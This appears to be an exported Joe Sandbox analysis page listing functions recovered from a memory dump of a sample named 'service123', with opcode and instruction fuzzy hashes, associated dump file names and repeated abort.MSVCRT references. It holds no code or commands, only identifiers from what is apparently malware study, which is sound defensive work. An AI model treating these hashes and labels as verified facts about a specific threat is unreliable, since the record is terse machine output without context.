Function 6C81C1A0 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d608ca89a6f8745b4c46d8a69862ae9fb8f93f7cc6dbd70b1a3b4f862e327ff5
Instruction ID: 881d5f8dffabd774bf514b132453c661deb1febb5be50322ba15d055b9429299
Opcode Fuzzy Hash: d608ca89a6f8745b4c46d8a69862ae9fb8f93f7cc6dbd70b1a3b4f862e327ff5
Instruction Fuzzy Hash: 73416F76A48201CFD710EFBDCA44506B7F1BB8A328F54CA69E84887B06E735D505CFA2

Function 6C7DBBD7 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c79a5fd3322b7ae7773e4d0730e1a3da4dfbbb34f1257cf98df85f4d80ebd20b
Instruction ID: 51de25a31a8d1ff29894ea1bb0e97aff2e0ba2915c8d91d43c6d92d3be27a3a0
Opcode Fuzzy Hash: c79a5fd3322b7ae7773e4d0730e1a3da4dfbbb34f1257cf98df85f4d80ebd20b
Instruction Fuzzy Hash: 7D41E1B0904359CFDB10DFA9C688BDDBBF0BF19308F114868D884AB751E774A949CB92

Function 6C819600 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fc65968480a0271355e97bcad2ad63bff30ce7a382800467c75e6d77a713f0e
Instruction ID: 54c984aaa1beeb2936336b546d555e1877dd369be2b787460fb7652ba7f63f12
Opcode Fuzzy Hash: 7fc65968480a0271355e97bcad2ad63bff30ce7a382800467c75e6d77a713f0e
Instruction Fuzzy Hash: 34315E757092028F9724CF29D68490BFBF1BFC6359F10C969E5988BB10E732D906CBA1

Function 6C7CD2A0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec487615fd766d8e32eba41a461932acea290a7d171efafc1b2d6a4fa9d00299
Instruction ID: 1cc5d1d3883e815144957dea43b24a7bd7811e576dde2b75c6b74eebd4618255
Opcode Fuzzy Hash: ec487615fd766d8e32eba41a461932acea290a7d171efafc1b2d6a4fa9d00299
Instruction Fuzzy Hash: 95211A71B042019FC700EF79DA8445BF7E5AB95348F54893DE85483704EB30D9098BA7

Function 6C817D10 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ff307fa9c27441d6fe7d39ef693d619c4a8ce736212117885ddd2654cbe5e39
Instruction ID: 72a3104d9a4add597ab04207e2b4954f4c8cd3f5bb5eacd56b4f8802a1ce0a41
Opcode Fuzzy Hash: 8ff307fa9c27441d6fe7d39ef693d619c4a8ce736212117885ddd2654cbe5e39
Instruction Fuzzy Hash: 6A11ED76A082019FC724EF79C68845BBBF5AB8A318F05CD2DE449C7704E630D908CBA6

Function 6C7DBBDB Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49841ebc5ae6058a205cbcca03394d4c87491e331bbbda99c891f0df51d13e92
Instruction ID: 61c416e5c648d02eb85d4e39bbaa4d46fafac47a235d3550c9785cae2cc07b74
Opcode Fuzzy Hash: 49841ebc5ae6058a205cbcca03394d4c87491e331bbbda99c891f0df51d13e92
Instruction Fuzzy Hash: 7031C1B09043598FDB10DFA9C588BDDBBF4AF0A308F114468D844AB791E774A949CB92

Function 6C81AEC0 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cefb0bd2246859a1189bd32bbd979d768c1620cfdaf3e136b41c2513f49a20fc
Instruction ID: f2e504fedfd1aba02c78395b8e41128ac9cd6d6aeca861a450ee128619552090
Opcode Fuzzy Hash: cefb0bd2246859a1189bd32bbd979d768c1620cfdaf3e136b41c2513f49a20fc
Instruction Fuzzy Hash: C5010476A58141DF8710EF7DCA44447B7F1BB8A328F14DA69E448C7B05E630D508CFA6

Function 6C81BD10 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aabb9ac07ee3a113cbcf87293935e3027cc628e453a557f7b29e3d837508c972
Instruction ID: 2c6fbeb2f43acbb44e18af4b48c083fae0730cfff1d52bb21084ef49f743237b
Opcode Fuzzy Hash: aabb9ac07ee3a113cbcf87293935e3027cc628e453a557f7b29e3d837508c972
Instruction Fuzzy Hash: 62012172A08145DF8710EF7CCA44856B7F1AB8E31CF44DA69E448C7B09D630D504CBA6

Function 6C81B4D0 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b698fb917270db69d4a5bc67264a4b4d7690122acc2f0a913557e461ecd8374
Instruction ID: bd23db08d7d2d98bf6da0d1f636efe2e56da05a83b817c2fc85745895458199f
Opcode Fuzzy Hash: 6b698fb917270db69d4a5bc67264a4b4d7690122acc2f0a913557e461ecd8374
Instruction Fuzzy Hash: FF1118B2A04201CFD310EF29C545716BBF0AB89318F59C9A8D40C8B711E37AC506CF92

Function 6C81C040 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d053383b2ea5da728264245fa801d02be582b557e56e6c90a4d27fdcbe8c0c4d
Instruction ID: e3bfd5845e836f737f9fe051ea6d2ae0509e1f3465d9e8bd044699a905b25fe8
Opcode Fuzzy Hash: d053383b2ea5da728264245fa801d02be582b557e56e6c90a4d27fdcbe8c0c4d
Instruction Fuzzy Hash: B2012D72A08145CF9710EFBDCA8441AB7F1AB4E318B04DA79E448C3B05E631D504CBA6

Function 6C8484A0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2c57ecb608db6015b051936c4100b50750c1bb6d71cf6ae7145fb4f5cc3f5a4
Instruction ID: 42f17215a739d8faa0f52d6a1268041d5ee6543f31a5c3760f52440c846e0583
Opcode Fuzzy Hash: f2c57ecb608db6015b051936c4100b50750c1bb6d71cf6ae7145fb4f5cc3f5a4
Instruction Fuzzy Hash: 8E014F75A082808FC311DF7D858552BBBF06F5A308F45D95EE888C7315E235C515CBA7

Function 6C7CD504 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38065637cddd05bc63f8f55e83b5f6858d4a716cd9787bd456eb58d9b090392b
Instruction ID: 58888dd7c4c5847f1b246947bf47c8d77c60ef5f637d9bb8c46af4d636bde0c5
Opcode Fuzzy Hash: 38065637cddd05bc63f8f55e83b5f6858d4a716cd9787bd456eb58d9b090392b
Instruction Fuzzy Hash: 260188B1B052019FEB08AF69D98476AFBE4EF85348F50896DD848CB601D331C886CBD6

Function 6C874360 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9a5173fa4cbcdfad5f4a94d5865971084ef7afb87a2207598463ca1b076a247
Instruction ID: d32246a587ca660506b379bf64f0c7c7e0c395ece4ed31fd5fbdf5414da38251
Opcode Fuzzy Hash: a9a5173fa4cbcdfad5f4a94d5865971084ef7afb87a2207598463ca1b076a247
Instruction Fuzzy Hash: 71F0F936A04140CF8720EFBC864996AB7F0A78621CF889D69E808C7B01F234D5148FB7

Function 6C7FA1E0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5582d137e871d0ff94be0ad71c1fa2a6548a381b8a2a2b287df0462e9aba7b8b
Instruction ID: 6b20dff6644c2343ddc171faa9e02c48298633c72f4b7e3c5359b48ff1161776
Opcode Fuzzy Hash: 5582d137e871d0ff94be0ad71c1fa2a6548a381b8a2a2b287df0462e9aba7b8b
Instruction Fuzzy Hash: 2CD01771E000009F8B00EF28C688826B7B0AB86318B54DAA8E41897705E236E906CB9A

Function 6C7CD974 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99528a8814be3e8ec686a86f925677d1370c2879c6c577cffe59eab6e90d6a45
Instruction ID: 08556d1a91ac7d4d7fd80e2a89b02895c69c715c186b0a177f7055f5026cc8ca
Opcode Fuzzy Hash: 99528a8814be3e8ec686a86f925677d1370c2879c6c577cffe59eab6e90d6a45
Instruction Fuzzy Hash: 42C0C9B19041009ACF10EF688284078F6E1AB42648F525868C08497600EB71C846978A

Function 6C7CD674 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d714ddeb1d54d60c99730855744db3a24bee261a28e7de1cd23f2af7a586b1f
Instruction ID: 1780c5278f3e4cfed3078f1806a4f869435947e0b135d9e24c392db058220d30
Opcode Fuzzy Hash: 8d714ddeb1d54d60c99730855744db3a24bee261a28e7de1cd23f2af7a586b1f
Instruction Fuzzy Hash: EEC0C9719041009ACF50EF688184078B3E1AB52288F525868C084A7600EB30D846D74A

Function 6C7CD7F4 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6687b09114d2675d96a31c0c6d2971c8d0cefab2a3ab88b4dde04cb7df0e6767
Instruction ID: 9d214d6784fa9b4bc7f286966bf09958d3a0fa4022dd951ad8a84e1178089dfb
Opcode Fuzzy Hash: 6687b09114d2675d96a31c0c6d2971c8d0cefab2a3ab88b4dde04cb7df0e6767
Instruction Fuzzy Hash: C0C0C9719441049ACF10EF68C1C4578B2E0AB42344F521868C084D7600EB30D846D74A

Function 6C7BB1D0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4782c14483e89b401938c8b91bc0639d669efe6f4935ac7e28a15c2c01b6abe
Instruction ID: 890a42886e01477c005c208ad1c6d33d78cb9058372ee88534386dd002b61e1a
Opcode Fuzzy Hash: e4782c14483e89b401938c8b91bc0639d669efe6f4935ac7e28a15c2c01b6abe
Instruction Fuzzy Hash: 3EC012B0C052408AC220BF38860A22CFAB07B52208F882CACD48013701E735C41C866B

Function 6C7ABAD0 Relevance: 47.6, APIs: 26, Strings: 1, Instructions: 339COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Strings

@, xrefs: 6C7ABAB1

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID: @
API String ID: 4206212132-2766056989
Opcode ID: a6f402bd11b4632e78090624f0bda1164632f4d6ab0f16587c4220ef3507b17d
Instruction ID: 9ccfcbe0d0665d0de5f5fab201044fcb27fca776651e1fb99e615b3102f0bebb
